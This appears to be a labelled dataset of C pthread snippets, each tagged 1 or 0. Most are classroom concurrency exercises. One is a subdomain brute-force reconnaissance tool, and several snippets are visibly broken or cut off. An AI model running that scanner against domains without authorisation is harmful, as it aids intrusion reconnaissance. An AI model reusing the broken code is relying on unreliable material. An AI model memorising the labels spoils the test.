#include <pthread.h> int left, right, angle; int sensi = 1; pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t cnd_mtx = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cnd = PTHREAD_COND_INITIALIZER; FILE * can; int can_open(char * host, char * port) { int fd; if ((fd = getsockfd(host, port)) < 0) { fprintf(stderr, "Error: getsockfd(%s,%s)\\n", host, port); return -1; } can = fdopen(fd, "a"); if (can == 0) { perror("fdopen"); return -1; } return 0; } void update_pos(int _x, int _y, int _z) { int x = (_x * 80) / 32767; int y = (_y * 80) / 32767; int z = (_z * 1023) / 65536 + 511; if (pthread_mutex_lock(&mtx) < 0) { perror("pthread_mutex_lock"); exit(1); } left = - (80 * (y + x)) / (80 + abs(x)); right = - (80 * (y - x)) / (80 + abs(x)); angle = z; if (pthread_mutex_unlock(&mtx) < 0) { perror("pthread_mutex_unlock"); exit(1); } pthread_mutex_lock(&cnd_mtx); pthread_cond_signal(&cnd); pthread_mutex_unlock(&cnd_mtx); } void update(int axisc, int * axis, int buttonc, char * button) { static char * b = 0; if (b == 0) { b = calloc(buttonc, sizeof(char)); } if (button[0] && !b[0]) { b[0] = 1; fprintf(can, "asserv speed 0 0\\n"); fflush(can); } else if (button[1] && !b[1]) { b[1] = 1; fprintf(can, "asserv rot 18000\\n"); fflush(can); } else if (button[2] && !b[2]) { b[2] = 1; fprintf(can, "asserv rot -9000\\n"); fflush(can); } else if (button[3] && !b[3]) { b[3] = 1; fprintf(can, "asserv rot 9000\\n"); fflush(can); } else { int i; for (i = 0; i < 4 ; i++) { b[i] = 0; } update_pos(axis[0]*sensi, axis[1]*sensi, axis[2]*sensi); } } void * sender(void * arg) { int l = INT_MIN; int r = INT_MIN; int a = INT_MIN; int u = 0; int v = 0; int todo; while (1) { todo = 0; if (pthread_mutex_lock(&mtx) < 0) { perror("pthread_mutex_lock"); exit(1); } if (l == left && r == right) { u++; } else { u = 0; l = left; r = right; } if (a == angle) { v++; } else { v = 0; a = angle; } if (pthread_mutex_unlock(&mtx) < 0) { perror("pthread_mutex_unlock"); exit(1); } if (u < 2) { fprintf(can, "asserv speed %d %d\\n", r, l); fflush(can); todo = 1; } if (v < 2) { fprintf(can, "ax 1 angle set %d\\n", a); fflush(can); usleep(100*1000); fprintf(can, "ax 2 angle set %d\\n", a); fflush(can); todo = 1; } if (todo) { usleep(200 * 1000); } else { pthread_mutex_lock(&cnd_mtx); pthread_cond_wait(&cnd, &cnd_mtx); pthread_mutex_unlock(&cnd_mtx); } } } int main (int argc, char **argv) { puts(""); puts("Usage: jstest [<device> [<host> [<port> [<sensitivity>]]]]"); puts(""); if (argc > 5) { return 1; } char * device = (argc>1)?argv[1]:"/dev/input/js0"; char * host = (argc>2)?argv[2]:"r2d2"; char * port = (argc>3)?argv[3]:"7773"; sensi = (argc>4)?atoi(argv[4]):1; if (can_open(host, port) < 0) { fprintf(stderr, "can_open failed\\n"); return 1; } pthread_t pth; pthread_create(&pth, 0, sender, 0); js_read(device, update); return 1; }
1
#include <pthread.h> pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; char ** palabras; int * contadas; int numero_lineas(char *ruta, int *tam_lineas){ if(ruta != 0){ FILE *ar = fopen(ruta,"r"); int lineas =0; int tam_linea; while(!feof(ar)){ tam_linea++; char c =getc(ar); if(c == '\\n'){ if(tam_lineas != 0){ tam_lineas[lineas] = tam_linea; } lineas++; tam_linea = 0; } } fclose(ar); return lineas; } return -1; } void * buscador(void* ctrl) { char * str = (char *) ctrl; pthread_mutex_lock(&mutex); char *alto; while( alto != 0 ){ if(!strcmp(*(palabras), alto)){ *(contadas) = *(contadas) + 1; } else if(!strcmp(*(palabras+1), alto)){ *(contadas+1) = *(contadas+1) + 1; } else if(!strcmp(*(palabras+2), alto)){ *(contadas+2) = *(contadas+2) + 1; } } printf("Resultados encontrados: \\nPalabra: %s Numero: %d\\nPalabra: %s Numero: %d\\nPalabra: %s Numero: %d\\n", *(palabras), *(contadas), *(palabras+1), *(contadas+1), *(palabras+2), *(contadas+2)); pthread_mutex_unlock(&mutex); return (void *)0; } int main(int argc, char *argv[]){ int *ncaracteres; char ** bloques; int cont=0; palabras = malloc(sizeof(char*)*3); contadas = malloc(sizeof(int)*3); if (argc==1) { printf("./Hilos <ruta> <numero_hilos> <palabra1> <palabra2> <palabra3>"); exit(1); } for(int k=3;k<argc;k++) { palabras[k-3]=argv[k]; contadas[k-3]=0; } int nlineas = numero_lineas(argv[1], 0); ncaracteres=malloc(sizeof(int)*nlineas); numero_lineas(argv[1], ncaracteres); for(int i = 1; i < nlineas ; i++){ cont += *(ncaracteres+i); } int divisor = cont/atoi(argv[2]); int seek = 0; bloques = malloc(sizeof(char*)*atoi(argv[2])); for(int i = 0 ; i < atoi(argv[2]) ; i++){ FILE * file = fopen(argv[1],"r"); fseek(file, seek,0); *(bloques+i) = malloc(sizeof(char)*divisor); for( int j = 0 ; j < divisor ; j++){ char c = getc(file); *(*(bloques+i)+j) = c; } seek = seek + divisor; } int p; pthread_t * threads = malloc(sizeof(pthread_t)*atoi(argv[2])); for(int i = 0; i < atoi(argv[2]); i++){ p = pthread_create(threads+i, 0, buscador, (void *)*(bloques+i)); if(p < 0){ fprintf(stderr, "Error al crear el hilo : %d\\n", i); exit(-1); } } for(int j = 0; j < atoi(argv[2]); j++){ p = pthread_join(threads[j], 0); if(p < 0){ fprintf(stderr, "Error al esperar por el hilo\\n"); exit(-1); } } return 0; }
0
#include <pthread.h> void fun(void); pthread_mutex_t mutex; void *thread_func(void *args) { printf("%lu locking mutex\\n",pthread_self()); pthread_mutex_lock(&mutex); printf("%lu locked mutex\\n",pthread_self()); fun(); sleep(2); pthread_mutex_unlock(&mutex); } void fun(void) { if(pthread_mutex_lock(&mutex) == 35 ) { printf("! (%lu) already locked the mutex \\n",pthread_self()); } } int main() { pthread_t tid1,tid2,tid3; pthread_mutexattr_t attr; pthread_mutexattr_init(&attr); pthread_mutexattr_setkind_np(&attr, PTHREAD_MUTEX_ERRORCHECK); pthread_mutex_init(&mutex, &attr); pthread_create(&tid1, 0, thread_func, 0); pthread_create(&tid2, 0, thread_func, 0); pthread_join(tid1, 0); pthread_join(tid2, 0); return 0; }
1
#include <pthread.h> int x = 0,contador=0; pthread_mutex_t x_mutex; pthread_cond_t x_cond; void barreira(int nthreads){ pthread_mutex_lock(&x_mutex); contador++; while(contador != nthreads){ pthread_cond_wait(&x_cond,&x_mutex); pthread_mutex_unlock(&x_mutex); return; } contador = 0; pthread_cond_broadcast(&x_cond); pthread_mutex_unlock(&x_mutex); return; } void *A (void *arg) { int tid = * (int*)arg, i; int cont = 0, boba1, boba2; for (i=0; i < 5; i++) { cont++; printf("Thread %d: cont=%d, passo=%d\\n", tid, cont, i); barreira(5); boba1=1000; boba2=-1000; while (boba2 < boba1) boba2++; } pthread_exit(0); } int main(int argc, char *argv[]) { int i; int * tid; pthread_t threads[5]; pthread_mutex_init(&x_mutex, 0); pthread_cond_init (&x_cond, 0); for ( i = 0; i < 5; ++i) { tid = (int *) malloc(sizeof(int)); *tid = i; pthread_create(&threads[i], 0, A,(void *) tid); } for (i = 0; i < 5; i++) { pthread_join(threads[i], 0); } pthread_mutex_destroy(&x_mutex); pthread_cond_destroy(&x_cond); pthread_exit (0); }
0
#include <pthread.h> int arr[1024]; pthread_mutex_t s = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond1 = PTHREAD_COND_INITIALIZER; pthread_cond_t cond2 = PTHREAD_COND_INITIALIZER; pthread_cond_t cond3 = PTHREAD_COND_INITIALIZER; int escribiendo = 0; int leyendo = 0; int escritor_esperando = 0; void *escritor(void *arg) { int i; int num = *((int *)arg); for (;;) { sleep(random()%2); pthread_mutex_lock(&s); while(leyendo) { escritor_esperando = 1; pthread_cond_wait(&cond2,&s); } escribiendo = 1; for (i=0; i<1024; i++) { arr[i] = num; } escribiendo = 0; escritor_esperando = 0; pthread_cond_broadcast(&cond3); pthread_cond_broadcast(&cond1); pthread_mutex_unlock(&s); } return 0; } void *lector(void *arg) { int v, i, err; int num = *((int *)arg); for (;;) { sleep(random()%2); pthread_mutex_lock(&s); while(escritor_esperando){ pthread_cond_wait(&cond3,&s); } while(escribiendo) pthread_cond_wait(&cond1,&s); err = 0; v = arr[0]; leyendo++; pthread_mutex_unlock(&s); for (i=1; i<1024; i++) { if (arr[i]!=v) { err=1; break; } } pthread_mutex_lock(&s); leyendo--; if (err) printf("Lector %d, error de lectura\\n", num); else printf("Lector %d, dato %d\\n", num, v); pthread_cond_broadcast(&cond2); pthread_mutex_unlock(&s); } return 0; } int main() { int i; pthread_t lectores[3], escritores[3]; int arg[3]; for (i=0; i<1024; i++) { arr[i] = -1; } for (i=0; i<3; i++) { arg[i] = i; pthread_create(&lectores[i], 0, lector, (void *)&arg[i]); pthread_create(&escritores[i], 0, escritor, (void *)&arg[i]); } pthread_join(lectores[0], 0); return 0; }
1
#include <pthread.h> struct dns_discovery_args { FILE * report; char * domain; int nthreads; }; struct dns_discovery_args dd_args; pthread_mutex_t mutexsum; void error (const char * msg) { perror (msg); exit (1); } FILE * ck_fopen (const char * path, const char * mode) { FILE * file = fopen (path, mode); if (file == 0) error ("fopen"); return file; } void * ck_malloc (size_t size) { void * ptr = malloc (size); if (ptr == 0) error ("malloc"); return ptr; } void chomp (char * str) { while (*str) { if (*str == '\\n' || *str == '\\r') { *str = 0; return; } str++; } } void banner () { printf (" ___ _ ______ ___ _ \\n" " / _ \\\\/ |/ / __/___/ _ \\\\(_)__ _______ _ _____ ______ __\\n" " / // / /\\\\ \\\\/___/ // / (_-</ __/ _ \\\\ |/ / -_) __/ // /\\n" "/____/_/|_/___/ /____/_/___/\\\\__/\\\\___/___/\\\\__/_/ \\\\_, / \\n" " /___/ \\n" "\\tby m0nad\\n\\n"); if (dd_args.report) fprintf (dd_args.report, " ___ _ ______ ___ _ \\n" " / _ \\\\/ |/ / __/___/ _ \\\\(_)__ _______ _ _____ ______ __\\n" " / // / /\\\\ \\\\/___/ // / (_-</ __/ _ \\\\ |/ / -_) __/ // /\\n" "/____/_/|_/___/ /____/_/___/\\\\__/\\\\___/___/\\\\__/_/ \\\\_, / \\n" " /___/ \\n" "\\tby m0nad\\n\\n"); ; } int usage () { printf ("usage: ./dns-discovery <domain> [options]\\n" "options:\\n" "\\t-w <wordlist file> (default : %s)\\n" "\\t-t <threads> (default : 1)\\n" "\\t-r <report file>\\n", "wordlist.wl"); if (dd_args.report) fprintf (dd_args.report, "usage: ./dns-discovery <domain> [options]\\n" "options:\\n" "\\t-w <wordlist file> (default : %s)\\n" "\\t-t <threads> (default : 1)\\n" "\\t-r <report file>\\n", "wordlist.wl"); ; exit (0); } FILE * parse_args (int argc, char ** argv) { FILE * wordlist = 0; char c, * ptr_wl = "wordlist.wl"; if (argc < 2) usage (); dd_args.domain = argv[1]; dd_args.nthreads = 1; printf ("DOMAIN: %s\\n", dd_args.domain); if (dd_args.report) fprintf (dd_args.report, "DOMAIN: %s\\n", dd_args.domain);; argc--; argv++; opterr = 0; while ((c = getopt (argc, argv, "r:w:t:")) != -1) switch (c) { case 'w': ptr_wl = optarg; break; case 't': printf ("THREADS: %s\\n", optarg); if (dd_args.report) fprintf (dd_args.report, "THREADS: %s\\n", optarg);; dd_args.nthreads = atoi (optarg); break; case 'r': printf ("REPORT: %s\\n", optarg); if (dd_args.report) fprintf (dd_args.report, "REPORT: %s\\n", optarg);; dd_args.report = ck_fopen (optarg, "a"); break; case '?': if (optopt == 'r' || optopt == 'w' || optopt == 't') { fprintf (stderr, "Option -%c requires an argument.\\n", optopt); exit (1); } default: usage (); } printf ("WORDLIST: %s\\n", ptr_wl); if (dd_args.report) fprintf (dd_args.report, "WORDLIST: %s\\n", ptr_wl);; wordlist = ck_fopen (ptr_wl, "r"); printf ("\\n"); if (dd_args.report) fprintf (dd_args.report, "\\n");; return wordlist; } void resolve_lookup (const char * hostname) { int ipv = 0; char addr_str [256]; void * addr_ptr = 0; struct addrinfo * res, * ori_res, hints; memset (&hints, 0, sizeof hints); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags |= AI_CANONNAME; if (getaddrinfo (hostname, 0, &hints, &res) == 0) { pthread_mutex_lock (&mutexsum); printf ("%s\\n", hostname); if (dd_args.report) fprintf (dd_args.report, "%s\\n", hostname);; for (ori_res = res; res; res = res->ai_next) { switch (res->ai_family) { case AF_INET: ipv = 4; addr_ptr = &((struct sockaddr_in *) res->ai_addr)->sin_addr; break; case AF_INET6: ipv = 6; addr_ptr = &((struct sockaddr_in6 *) res->ai_addr)->sin6_addr; break; } inet_ntop (res->ai_family, addr_ptr, addr_str, 256); printf ("IPv%d address: %s\\n", ipv, addr_str); if (dd_args.report) fprintf (dd_args.report, "IPv%d address: %s\\n", ipv, addr_str);; } printf ("\\n"); if (dd_args.report) fprintf (dd_args.report, "\\n");; pthread_mutex_unlock (&mutexsum); freeaddrinfo (ori_res); } } void dns_discovery (FILE * file, const char * domain) { char line [256]; char hostname [512]; while (fgets (line, sizeof line, file) != 0) { chomp (line); snprintf (hostname, sizeof hostname, "%s.%s", line, domain); resolve_lookup (hostname); } } void * dns_discovery_thread (void * args) { FILE * wordlist = (FILE *) args; dns_discovery (wordlist, dd_args.domain); return 0; } int main (int argc, char ** argv) { int i; pthread_t * threads; FILE * wordlist; banner (); wordlist = parse_args (argc, argv); threads = (pthread_t *) ck_malloc (dd_args.nthreads * sizeof (pthread_t)); for (i = 0; i < dd_args.nthreads; i++) { if (pthread_create (&threads[i], 0, dns_discovery_thread, (void *)wordlist) != 0) error ("pthread_create"); } for (i = 0; i < dd_args.nthreads; i++) { pthread_join (threads[i], 0); } if (dd_args.report) fclose (dd_args.report); free (threads); fclose (wordlist); return 0; }
0
#include <pthread.h> struct foo { int id; pthread_mutex_t f_lock; int f_count; }; struct foo* foo_alloc(int id) { struct foo* fp; if ((fp = malloc(sizeof(struct foo))) != 0) { fp->id = id; fp->f_count = 1; if (pthread_mutex_init(&fp->f_lock, 0) != 0) { free(fp); return 0; } } return fp; } void foo_hold(struct foo** fp) { pthread_mutex_lock(&(*fp)->f_lock); (*fp)->f_count++; pthread_mutex_unlock(&(*fp)->f_lock); } void foo_rele(struct foo** fp) { pthread_mutex_lock(&(*fp)->f_lock); if (--(*fp)->f_count == 0) { pthread_mutex_unlock(&(*fp)->f_lock); pthread_mutex_destroy(&(*fp)->f_lock); free((*fp)); (*fp) = 0; } else { pthread_mutex_unlock(&(*fp)->f_lock); } } void* thr_fn1(void* arg) { printf("thread1: f_count = %d\\n", (*(struct foo**)arg)->f_count); printf("thread1 id fooholding...\\n\\n"); foo_hold(((struct foo**)arg)); printf("thread1: f_count = %d\\n", (*(struct foo**)arg)->f_count); printf("thread1 id fooholding...\\n\\n"); foo_hold(((struct foo**)arg)); pthread_exit((void*)1); } void* thr_fn2(void* arg) { sleep(1); printf("thread2: f_count = %d\\n", (*(struct foo**)arg)->f_count); printf("thread2 is fooreleing...\\n\\n"); foo_rele(((struct foo**)arg)); pthread_exit((void*)2); } int main() { int err; pthread_t tid1, tid2; void* tret; struct foo* fp; if ((fp = foo_alloc(1)) == 0) exit(0); err = pthread_create(&tid1, 0, thr_fn1, &fp); if (err != 0) err_exit(err, "cant create thread 1."); err = pthread_create(&tid2, 0, thr_fn2, &fp); if (err != 0) err_exit(err, "cant create thread 2."); sleep(2); while (fp != 0) { printf("main thread: f_count = %d\\n", fp->f_count); printf("main thread is fooreleing...\\n\\n"); foo_rele(&fp); } printf("fp equal NULL ? : %d\\n", (int)(fp == 0)); err = pthread_join(tid1, &tret); if (err != 0) err_exit(err, "main thread cant join thread1.\\n"); printf("thread1 exit code: %d\\n", (unsigned int)tret); err = pthread_join(tid2, &tret); if (err != 0) err_exit(err, "main thread cant join thread2.\\n"); printf("thread2 exit code: %d\\n", (unsigned int)tret); exit(0); }
1
#include <pthread.h> pthread_mutex_t mutex; int scholarship = 4000; int total = 0; void *A(void); void *B(void); void *C(void); void *totalCalc(void); int main(void) { pthread_t tid1, tid2, tid3; pthread_create(&tid1, 0, (void *(*)(void *))A, 0); pthread_create(&tid2, 0, (void *(*)(void *))B, 0); pthread_create(&tid3, 0, (void *(*)(void *))C, 0); pthread_join(tid1, 0); pthread_join(tid2, 0); pthread_join(tid3, 0); totalCalc(); return 0; } void *A(void) { float result; while (scholarship > 0) { sleep(2); pthread_mutex_lock(&mutex); result = scholarship * 0.25; result = ceil(result); total = total + result; scholarship = scholarship - result; if (result >= 1) { printf("A = "); printf("%.2f", result); printf("\\n"); } if (scholarship < 1) { pthread_exit(0); printf("Thread A exited\\n"); return 0; } pthread_mutex_unlock(&mutex); } pthread_exit(0); } void *B(void) { float result; while (scholarship > 0) { sleep(1); pthread_mutex_lock(&mutex); result = scholarship * 0.25; result = ceil(result); total = total + result; scholarship = scholarship - result; if (result >= 1) { printf("B = "); printf("%.2f", result); printf("\\n"); } if (scholarship < 1) { pthread_exit(0); printf("Thread B exited\\n"); return 0; } pthread_mutex_unlock(&mutex); } pthread_exit(0); } void *C(void) { float result; while (scholarship > 0) { sleep(1); pthread_mutex_lock(&mutex); result = scholarship * 0.25; result = ceil(result); total = total + result; scholarship = scholarship - result; if (result >= 1) { printf("C = "); printf("%.2f", result); printf("\\n"); } if (scholarship < 1) { pthread_exit(0); printf("Thread C exited\\n"); return 0; } pthread_mutex_unlock(&mutex); } pthread_exit(0); } void *totalCalc(void) { printf("Total given out: "); printf("%d", total); printf("\\n"); return 0; }
0
#include <pthread.h> int nbr_of_thread; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; char** array; int left; int right; } SortParams; static int maximumThreads = 1; static void insertSort(char** array, int left, int right) { int i, j; for (i = left + 1; i <= right; i++) { char* pivot = array[i]; j = i - 1; while (j >= left && (strcmp(array[j],pivot) > 0)) { array[j + 1] = array[j]; j--; } array[j + 1] = pivot; } } static void* quickSort(void* p) { SortParams* params = (SortParams*) p; char** array = params->array; int left = params->left; int right = params->right; int i = left, j = right; if (j - i > 40) { int m = (i + j) >> 1; char* temp, *pivot; if (strcmp(array[i],array[m]) > 0) { temp = array[i]; array[i] = array[m]; array[m] = temp; } if (strcmp(array[m],array[j]) > 0) { temp = array[m]; array[m] = array[j]; array[j] = temp; if (strcmp(array[i],array[m]) > 0) { temp = array[i]; array[i] = array[m]; array[m] = temp; } } pivot = array[m]; for (;;) { while (strcmp(array[i],pivot) < 0) i++; while (strcmp(array[j],pivot) > 0) j--; if (i < j) { char* temp = array[i]; array[i++] = array[j]; array[j--] = temp; } else if (i == j) { i++; j--; } else break; } pthread_t thread; int locked = 0; SortParams *first = (SortParams*) malloc(sizeof(SortParams)); first->array = array; first->left = left; first->right = j; if(nbr_of_thread < maximumThreads){ pthread_mutex_lock(&mutex); nbr_of_thread++; pthread_mutex_unlock(&mutex); pthread_create(&thread, 0, quickSort, first); }else { quickSort(first); } SortParams *second = (SortParams*) malloc(sizeof(SortParams)); second->array = array; second->left = i; second->right = right; quickSort(second); if(locked){ pthread_mutex_unlock(&mutex); nbr_of_thread--; pthread_join(thread, 0); } } else insertSort(array,i,j); return 0; } void setSortThreads(int count) { maximumThreads = count; } void sortThreaded(char** array, unsigned int count) { SortParams parameters; parameters.array = array; parameters.left = 0; parameters.right = count - 1; quickSort(&parameters); }
1
#include <pthread.h> static int num = 0; static pthread_mutex_t mut_num = PTHREAD_MUTEX_INITIALIZER; void *is_prime(void *p) { int i, n, flag; while(1) { pthread_mutex_lock(&mut_num); while(num == 0) { pthread_mutex_unlock(&mut_num); sched_yield(); pthread_mutex_lock(&mut_num); } if(num == -1) { pthread_mutex_unlock(&mut_num); break; } n = num; num = 0; pthread_mutex_unlock(&mut_num); for(i = 2, flag = 0; (i<= n/2)&&(!flag); i++) { if((n % i) == 0) flag = 1; } if(!flag) printf("[%d] --> %d\\n", (int)p, n); } pthread_exit(0); } int main() { int i, errno; pthread_t tid[4]; for(i = 0; i < 4; i++){ errno = pthread_create(tid+i, 0, is_prime, (void *)i); if(errno){ fprintf(stderr, "thread create err: %s\\n", strerror(errno)); exit(1); } } for(i = 3000000; i <= 3002000; i++) { pthread_mutex_lock(&mut_num); while(num != 0) { pthread_mutex_unlock(&mut_num); sched_yield(); pthread_mutex_lock(&mut_num); } num = i; pthread_mutex_unlock(&mut_num); } pthread_mutex_lock(&mut_num); while(num != 0) { pthread_mutex_unlock(&mut_num); sched_yield(); pthread_mutex_lock(&mut_num); } num = -1; pthread_mutex_unlock(&mut_num); for(i = 0; i < 4; i++) pthread_join(tid[i], 0); pthread_mutex_destroy(&mut_num); exit(0); }
0
#include <pthread.h> static pthread_mutex_t m_trace = PTHREAD_MUTEX_INITIALIZER; void output_init() { return; } void output( char * string, ... ) { va_list ap; char *ts="[??:??:??]"; struct tm * now; time_t nw; pthread_mutex_lock(&m_trace); nw = time(0); now = localtime(&nw); if (now == 0) printf(ts); else printf("[%2.2d:%2.2d:%2.2d]", now->tm_hour, now->tm_min, now->tm_sec); __builtin_va_start((ap)); vprintf(string, ap); ; pthread_mutex_unlock(&m_trace); } void output_fini() { return; }
1
#include <pthread.h> int waiting = 0; int chairs = 0; sem_t customers; sem_t barbers; static pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER; void *barber_func(void *arg); void *customer_func(void *arg); void cut_hair(void); void *barber_func(void *arg) { pthread_detach(pthread_self()); while(1) { sem_wait(&customers); pthread_mutex_lock(&mtx); waiting -= 1; sem_post(&barbers); pthread_mutex_unlock(&mtx); cut_hair(); } } void *customer_func(void *arg) { int id = *(int *)arg; pthread_detach(pthread_self()); printf("%d's customer is in the shop.\\n", id); pthread_mutex_lock(&mtx); if(waiting < chairs) { waiting += 1; sem_post(&customers); pthread_mutex_unlock(&mtx); sem_wait(&barbers); } else { printf("Too many customers, %d's customer left the shop.\\n", id); pthread_mutex_unlock(&mtx); } pthread_exit(0); } void cut_hair(void) { printf("Barber is cutting hair\\n"); sleep(5); printf("Barber done\\n"); } int main(int argc, char **argv) { int b = 1; int i = 0; pthread_t cid; pthread_t bid; printf("How many chairs do you want: "); scanf("%d", &chairs); sem_init(&customers, 0, 0); sem_init(&barbers, 0, b); for(i = 0; i < b; i++) { pthread_create(&bid, 0, barber_func, &i); sleep(1); } i = 0; while(1) { pthread_create(&cid, 0, customer_func, &i); sleep(1); i++; } }
0
#include <pthread.h> static pthread_mutex_t s_logMutex = PTHREAD_MUTEX_INITIALIZER; uint64_t ril_nano_time() { struct timespec now; clock_gettime(CLOCK_MONOTONIC, &now); return now.tv_sec * 1000000000LL + now.tv_nsec; } int64_t elapsedRealtime() { struct timeval tv; gettimeofday(&tv, 0); return (int64_t)(tv.tv_sec * 1000 + tv.tv_usec / 1000); } void __log_print(int prio, const char *tag, const char *fmt, ...) { va_list ap; char buf[512] = {0}; char out[512] = {0}; static FILE* stream ; int len = 0; struct timeval tv; time_t timer; struct tm *t; timer = time(0); if (stream == 0) { stream = stdout; } pthread_mutex_lock(&s_logMutex); t = localtime(&timer); gettimeofday(&tv, 0); len += sprintf(out, "%02d-%02d %02d:%02d:%02d.%03d ", t->tm_mon+1,t->tm_mday,t->tm_hour,t->tm_min,t->tm_sec, (int)tv.tv_usec / 1000); len += sprintf(out+len, "%s%s", tag, ": "); __builtin_va_start((ap)); vsnprintf(buf, 512, fmt, ap); ; sprintf(out+len, "%s%s", buf, "\\n"); fprintf(stream, "%s", out); fflush(stream); if (prio == LOG_FATAL) { fprintf(stdout, "%s", out); } pthread_mutex_unlock(&s_logMutex); } uint64_t getRealtimeOfCS() { uint64_t secTo1970 = 62135596800; uint64_t withKind; struct timespec now; clock_gettime(CLOCK_REALTIME, &now); withKind = (now.tv_sec + secTo1970) * 10000000LL + now.tv_nsec/100 + 0x8000000000000000LL; return withKind; }
1
#include <pthread.h> pthread_mutex_t lock1 = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t lock2 = PTHREAD_MUTEX_INITIALIZER; void prepare(void) { printf("preparing locks...\\n"); pthread_mutex_lock(&lock1); pthread_mutex_lock(&lock2); } void parent(void) { printf("parent unlocking locks...\\n"); pthread_mutex_unlock(&lock1); pthread_mutex_unlock(&lock2); } void child(void) { printf("child unlocking locks...\\n"); pthread_mutex_unlock(&lock1); pthread_mutex_unlock(&lock2); } void* thread_func(void *arg) { printf("thread started...\\n"); pause(); return 0; } int main(void) { pid_t pid; pthread_t tid; int err; err = pthread_atfork(prepare,parent,child); if(err != 0) err_exit(err, "can't install fork handlers"); err = pthread_create(&tid,0,thread_func,0); if(err != 0) err_exit(err, "can't create thread"); sleep(2); printf("parent about to fork.\\n"); pid = fork(); if(pid == -1) err_quit("fork failed: %s\\n", strerror(err)); if(pid == 0) printf("child returned from fork.\\n"); else printf("parent returned form fork.\\n"); exit(0); }
0
#include <pthread.h> struct tenedor { int id; pthread_mutex_t mutex; pthread_cond_t cond; }; struct filosofo { int id; struct tenedor *tDer,*tIzq; }; char *estado; pthread_mutex_t mutexImprimir=PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t fakeMutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t fakeCond = PTHREAD_COND_INITIALIZER; int nFilo; void mywait(int timeInSec); void printRow(int nFilo,int id,char es); void initTable(int nFilo); void pensar(int id){ printRow(nFilo,id,'P'); mywait(0.5); } void comer(int id){ printRow(nFilo,id,'C'); mywait(2); } void *codigoFilosofo(void *arg){ int c=1; struct filosofo *f=(struct filosofo *)arg; while(1){ pensar(f->id); if(pthread_mutex_lock(&(f->tIzq->mutex))==0){ printRow(nFilo,f->id,'I'); while(pthread_mutex_trylock(&(f->tDer->mutex))!=0){ printRow(nFilo,f->id,'E'); pthread_cond_wait(&(f->tDer->cond),&(f->tIzq->mutex)); } printRow(nFilo,f->id,'D'); comer(f->id); pthread_cond_signal(&(f->tIzq->cond)); pthread_mutex_unlock(&(f->tDer->mutex)); pthread_mutex_unlock(&(f->tIzq->mutex)); } } } void printFilo(struct filosofo f){ printf("-------------------------\\n"); printf("filosofo ID: %d\\n",f.id ); printf("TD: %d\\n",f.tDer->id ); printf("TI: %d\\n",f.tIzq->id ); printf("-------------------------\\n"); } void main(int argc, char const *argv[]) { int error,salida; if (argc!=2) { printf("Parametros incorrectos\\n1: numero de filosofos"); } nFilo=atoi(argv[1]); initTable(nFilo); estado=(char *) malloc(sizeof(char)*nFilo); struct tenedor tenedores[nFilo]; struct filosofo filosofos[nFilo]; pthread_t hilosFilosofo[nFilo]; for (int i = 0; i < nFilo; i++) { tenedores[i].id=i; pthread_mutex_init(&(tenedores[i].mutex),0); pthread_cond_init(&(tenedores[i].cond),0); } for (int i = 0; i < nFilo; i++) { filosofos[i].id=i; filosofos[i].tDer=&tenedores[i]; if (i==0) { filosofos[i].tIzq=&tenedores[nFilo-1]; } else { filosofos[i].tIzq=&tenedores[i-1]; } printFilo(filosofos[i]); error = pthread_create(&hilosFilosofo[i],0,codigoFilosofo,(void *)&filosofos[i]); if(error){ fprintf(stderr,"Error crear filosofo %d: %s\\n",error, strerror(error)); exit(-1); } } for(int i=0;i<nFilo;i++){ error = pthread_join(hilosFilosofo[i],(void **)&salida); if(error) fprintf(stderr,"Error %d: %s\\n",error,strerror(error)); else{ printf(" filosofo %d terminado\\n",i); } } } void mywait(int timeInSec) { struct timespec timeToWait; struct timeval now; int rt; gettimeofday(&now,0); timeToWait.tv_sec = now.tv_sec + timeInSec; timeToWait.tv_nsec = now.tv_usec*1000; pthread_mutex_lock(&fakeMutex); rt = pthread_cond_timedwait(&fakeCond, &fakeMutex, &timeToWait); pthread_mutex_unlock(&fakeMutex); } void printRow(int nFilo,int id,char es){ pthread_mutex_lock(&mutexImprimir); estado[id]=es; for (int i = 0; i < nFilo; i++) { if (i==id) { printf("\\t %cN",estado[i]); } else{ printf("\\t %c",estado[i] );} fflush(stdout); } printf("\\n"); pthread_mutex_unlock(&mutexImprimir); } void initTable(int nFilo){ printf("fil0-ten0-fil1-ten1-fil2-ten2-fil3-ten3-fil4-ten4...\\n"); for (int i = 0; i < nFilo; i++) { printf("\\t %d",i ); fflush(stdout); } printf("\\n"); }
1
#include <pthread.h> void usage(char *prog) { fprintf(stderr, "usage: %s [-v] [-n num]\\n", prog); exit(-1); } int verbose; int nthread=2; int shutdown; char *dir="/tmp"; char *file; struct work_t *next; } work_t; work_t *head,*tail; pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond = PTHREAD_COND_INITIALIZER; void *worker(void *data) { sigset_t all; sigfillset(&all); pthread_sigmask(SIG_BLOCK, &all, 0); again: pthread_mutex_lock(&mtx); while (!head && !shutdown) pthread_cond_wait(&cond, &mtx); if (shutdown) { pthread_mutex_unlock(&mtx); return 0; } work_t *w = head; head = head->next; if (!head) tail=0; fprintf(stderr,"thread %d claimed %s\\n", (int)data, w->file); pthread_mutex_unlock(&mtx); sleep(1); free(w->file); free(w); goto again; } union { struct inotify_event ev; char buf[sizeof(struct inotify_event) + PATH_MAX]; } eb; char *get_file(int fd, void **nx) { struct inotify_event *ev; static int rc=0; size_t sz; if (*nx) ev = *nx; else { rc = read(fd,&eb,sizeof(eb)); if (rc < 0) return 0; ev = &eb.ev; } sz = sizeof(*ev) + ev->len; rc -= sz; *nx = (rc > 0) ? ((char*)ev + sz) : 0; return ev->len ? ev->name : dir; } sigjmp_buf jmp; int sigs[] = {SIGHUP,SIGTERM,SIGINT,SIGQUIT,SIGALRM,SIGUSR1}; void sighandler(int signo) { siglongjmp(jmp,signo); } int main(int argc, char *argv[]) { int opt, fd, wd, i, n, s; pthread_t *th; void *nx=0,*res; work_t *w; char *f; while ( (opt = 